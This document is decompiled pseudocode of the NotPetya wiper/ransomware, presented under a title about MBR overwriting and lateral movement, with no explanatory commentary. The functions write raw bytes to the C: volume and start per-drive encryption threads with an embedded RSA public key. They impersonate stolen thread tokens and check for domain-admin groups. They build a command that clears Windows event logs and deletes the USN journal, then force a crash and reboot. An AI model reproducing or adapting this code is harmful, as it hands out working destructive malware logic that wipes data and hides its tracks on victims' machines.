NotPetya: Low-Level MBR Overwriting and PsExec / WMI Lateral Movement

void __cdecl __noreturn perfc_1(int a1, DWORD dwErrCode, HANDLE Thread, HANDLE hThread)
{
  int v4; // eax
  HANDLE *v5; // esi
  HANDLE ProcessHeap; // eax
  _DWORD *v7; // eax
  HANDLE v8; // eax
  HMODULE ModuleHandleA; // eax
  FARPROC NtRaiseHardError; // eax
  HANDLE v11; // [esp-4h] [ebp-4A28h]
  WCHAR psz1[8192]; // [esp+Ch] [ebp-4A18h] BYREF
  WCHAR v13[1024]; // [esp+400Ch] [ebp-A18h] BYREF
  _BYTE Src[256]; // [esp+480Ch] [ebp-218h] BYREF
  struct _OSVERSIONINFOW VersionInformation; // [esp+490Ch] [ebp-118h] BYREF
  HANDLE Token; // [esp+4A20h] [ebp-4h]

  sub_10007CC0();
  if ( hThread != (HANDLE)-1 )
    sub_10009590(a1, dwErrCode, Thread);
  WSAStartup(0x202u, &WSAData);
  lpParameter = (LPVOID)sub_10007091(36, sub_10006EDA, 0, 0xFFFF);
  lpCriticalSection = (LPCRITICAL_SECTION)sub_10007091(8, sub_10006C74, sub_10006CAA, 255);
  dword_1001F110 = 0;
  InitializeCriticalSection(&CriticalSection);
  sub_10006A2B((LPCWSTR)Thread);
  if ( (dword_1001F144 & 2) != 0 )
  {
    sub_1000835E();
    sub_10008D5A();
  }
  sub_100084DF();
  CreateThread(0, 0, sub_10007C10, 0, 0, 0);
  if ( (dword_1001F144 & 2) != 0 && (dword_1001F104 & 1) != 0 )
    sub_10007545();
  sub_100070FA();
  if ( (dword_1001F104 & 2) != 0 )
    sub_10008999(dword_1001F144 & 6);
  if ( (dword_1001F144 & 4) == 0
    || (dword_1001F110 = (LPCRITICAL_SECTION)sub_10007091(4, sub_10007CA5, 0, 255), (v4 = sub_1000875A(Src)) == 0) )
  {
LABEL_29:
    sub_100070FA();
    CreateThread(0, 0, sub_1000A0FE, 0, 0, 0);
    hThread = 0;
    a1 = 0;
    Thread = 0;
    dwErrCode = 0;
    sub_10008282(&hThread, &a1, &Thread, &dwErrCode);
    ProcessHeap = GetProcessHeap();
    v7 = HeapAlloc(ProcessHeap, 8u, 4u);
    Token = v7;
    if ( v7 )
    {
      *v7 = 60000 * (_DWORD)Thread;
      if ( !CreateThread(0, 0, sub_1000A274, v7, 0, 0) )
      {
        v11 = Token;
        v8 = GetProcessHeap();
        HeapFree(v8, 0, v11);
      }
    }
    Sleep(60000 * (_DWORD)hThread);
    if ( (dword_1001F104 & 0x10) != 0 )
      sub_10001EEF();
    Sleep(60000 * dwErrCode);
    if ( (dword_1001F144 & 2) != 0
      || (memset(&VersionInformation, 0, sizeof(VersionInformation)),
          VersionInformation.dwOSVersionInfoSize = 276,
          !GetVersionExW(&VersionInformation))
      || (VersionInformation.dwMajorVersion != 5
       || VersionInformation.dwMinorVersion != 1 && VersionInformation.dwMinorVersion != 2)
      && (VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion > 1)
      || (sub_10006BB0(psz1), !sub_10007D6F(psz1)) )
    {
      Sleep(60000 * a1);
      wsprintfW(
        v13,
        L"wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:",
        pszPath);
      v13[1023] = 0;
      sub_100083BD(3);
      if ( (dword_1001F144 & 1) != 0 )
      {
        ModuleHandleA = GetModuleHandleA("ntdll.dll");
        if ( ModuleHandleA )
        {
          NtRaiseHardError = GetProcAddress(ModuleHandleA, "NtRaiseHardError");
          if ( NtRaiseHardError )
            ((void (__stdcall *)(int, _DWORD, _DWORD, _DWORD, int, HANDLE *))NtRaiseHardError)(
              -1073740976,
              0,
              0,
              0,
              6,
              &Thread);
        }
        if ( !InitiateSystemShutdownExW(0, 0, 0, 1, 1, 0x80000000) )
          ExitWindowsEx(6u, 0);
      }
    }
    ExitProcess(0);
  }
  v5 = (HANDLE *)Src;
  a1 = v4;
  while ( 1 )
  {
    Token = *v5;
    Thread = 0;
    dwErrCode = 0;
    Thread = CreateThread(0, 0, sub_10009F8E, 0, 4u, 0);
    if ( !Thread )
    {
      dwErrCode = 87;
      goto LABEL_20;
    }
    if ( !SetThreadToken(&Thread, Token) )
      break;
    if ( ResumeThread(Thread) == -1 )
      goto LABEL_18;
LABEL_20:
    SetLastError(dwErrCode);
    dwErrCode = (DWORD)*v5;
    Thread = 0;
    hThread = CreateThread(0, 0, sub_10007D58, &Thread, 4u, 0);
    if ( hThread )
    {
      if ( SetThreadToken(&hThread, (HANDLE)dwErrCode) )
      {
        if ( ResumeThread(hThread) == -1 )
          GetLastError();
        else
          WaitForSingleObject(hThread, 0xFFFFFFFF);
      }
      CloseHandle(hThread);
    }
    if ( Thread )
      sub_10007298(dword_1001F110, v5, 0);
    ++v5;
    if ( !--a1 )
      goto LABEL_29;
  }
  dwErrCode = GetLastError();
LABEL_18:
  CloseHandle(Thread);
  goto LABEL_20;
}

int sub_10008BC6()
{
  HANDLE CurrentThread; // eax
  PSID *v1; // edi
  unsigned int v2; // ebx
  PSID *v3; // esi
  PUCHAR SidSubAuthorityCount; // eax
  PDWORD SidSubAuthority; // eax
  DWORD v6; // eax
  int v8; // [esp+4h] [ebp-Ch]
  HANDLE TokenHandle; // [esp+8h] [ebp-8h] BYREF
  DWORD ReturnLength; // [esp+Ch] [ebp-4h] BYREF

  v8 = 0;
  TokenHandle = 0;
  CurrentThread = GetCurrentThread();
  if ( OpenThreadToken(CurrentThread, 0x20008u, 1, &TokenHandle) )
  {
    ReturnLength = 0;
    if ( !GetTokenInformation(TokenHandle, TokenGroups, 0, 0, &ReturnLength) && GetLastError() == 122 )
    {
      v1 = (PSID *)GlobalAlloc(0x40u, ReturnLength);
      if ( v1 )
      {
        if ( GetTokenInformation(TokenHandle, TokenGroups, v1, ReturnLength, &ReturnLength) )
        {
          v2 = 0;
          if ( *v1 )
          {
            v3 = v1 + 1;
            do
            {
              if ( v8 )
                break;
              SidSubAuthorityCount = GetSidSubAuthorityCount(*v3);
              if ( SidSubAuthorityCount )
              {
                if ( *SidSubAuthorityCount >= 4u )
                {
                  SidSubAuthority = GetSidSubAuthority(*v3, 4u);
                  if ( SidSubAuthority )
                  {
                    v6 = *SidSubAuthority;
                    if ( v6 == 512 || v6 == 519 )
                      v8 = 1;
                  }
                }
              }
              ++v2;
              v3 += 2;
            }
            while ( v2 < (unsigned int)*v1 );
          }
        }
        else
        {
          GetLastError();
        }
        GlobalFree(v1);
      }
      else
      {
        GetLastError();
      }
    }
    CloseHandle(TokenHandle);
  }
  else
  {
    GetLastError();
  }
  return v8;
}

_DWORD *sub_10001EEF()
{
  DWORD LogicalDrives; // ebx
  int i; // edi
  _DWORD *result; // eax
  __int64 RootPathName; // [esp+Ch] [ebp-8h] BYREF

  LogicalDrives = GetLogicalDrives();
  for ( i = 31; i >= 0; --i )
  {
    result = (_DWORD *)(1 << i);
    if ( ((1 << i) & LogicalDrives) != 0 )
    {
      LOWORD(RootPathName) = i + 65;
      wcscpy((wchar_t *)&RootPathName + 1, L":\\");
      result = (_DWORD *)GetDriveTypeW((LPCWSTR)&RootPathName);
      if ( result == (_DWORD *)3 )
      {
        result = LocalAlloc(0x40u, 0x20u);
        if ( result )
        {
          result[4] = L"MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwL"
                       "hQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15w"
                       "VLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68E"
                       "ZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB";
          result[7] = 0;
          *(_QWORD *)result = RootPathName;
          result = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, result, 0, 0);
        }
      }
    }
  }
  return result;
}

int sub_10008D5A()
{
  HANDLE FileA; // edi
  HLOCAL v1; // ebx
  int result; // eax
  DWORD BytesReturned; // [esp+Ch] [ebp-1Ch] BYREF
  _BYTE OutBuffer[20]; // [esp+10h] [ebp-18h] BYREF
  LONG lDistanceToMove; // [esp+24h] [ebp-4h]

  FileA = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0);
  if ( FileA )
  {
    if ( DeviceIoControl(FileA, 0x70000u, 0, 0, OutBuffer, 0x18u, &BytesReturned, 0) )
    {
      v1 = LocalAlloc(0, 10 * lDistanceToMove);
      if ( v1 )
      {
        SetFilePointer(FileA, lDistanceToMove, 0, 0);
        WriteFile(FileA, v1, lDistanceToMove, &BytesReturned, 0);
        LocalFree(v1);
      }
    }
    CloseHandle(FileA);
  }
  if ( (dword_1001F104 & 8) == 0 )
    return sub_10008CBF();
  result = sub_100014A9();
  if ( result )
    return sub_10008CBF();
  return result;
}